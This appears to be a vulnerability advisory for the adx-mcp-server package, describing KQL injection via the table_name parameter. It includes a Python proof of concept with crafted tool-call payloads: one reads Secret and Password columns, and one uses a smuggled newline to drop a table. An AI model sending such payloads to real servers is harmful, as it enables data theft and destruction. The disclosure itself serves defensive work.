Improper Neutralization of Special Elements in Data Query Logic Affecting adx-mcp-server package, versions [0,]

adx-mcp-server is a MCP server for Azure Data Explorer integration

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Data Query Logic via the get_table_schema, sample_table_data, and get_table_details handlers when the table_name parameter is interpolated directly into KQL queries without validation or sanitization. An attacker can execute arbitrary KQL queries against the Azure Data Explorer cluster by supplying crafted input to the table_name parameter.

# PoC: KQL Injection via get_table_schema tool
# The table_name parameter is injected into: f"{table_name} | getschema"

import json

# MCP tool call that exfiltrates data from a sensitive table
tool_call = {
    "name": "get_table_schema",
    "arguments": {
        "table_name": "sensitive_data | project Secret, Password | take 100 //"
    }
}
print(json.dumps(tool_call, indent=2))

# Resulting KQL: "sensitive_data | project Secret, Password | take 100 // | getschema"
# The // comments out "| getschema", executing an arbitrary data query instead

# Destructive example via get_table_details:
tool_call_destructive = {
    "name": "get_table_details",
    "arguments": {
        "table_name": "users details\n.drop table critical_data"
    }
}
# Resulting KQL:
#   .show table users details
#   .drop table critical_data details

• GitHub Commit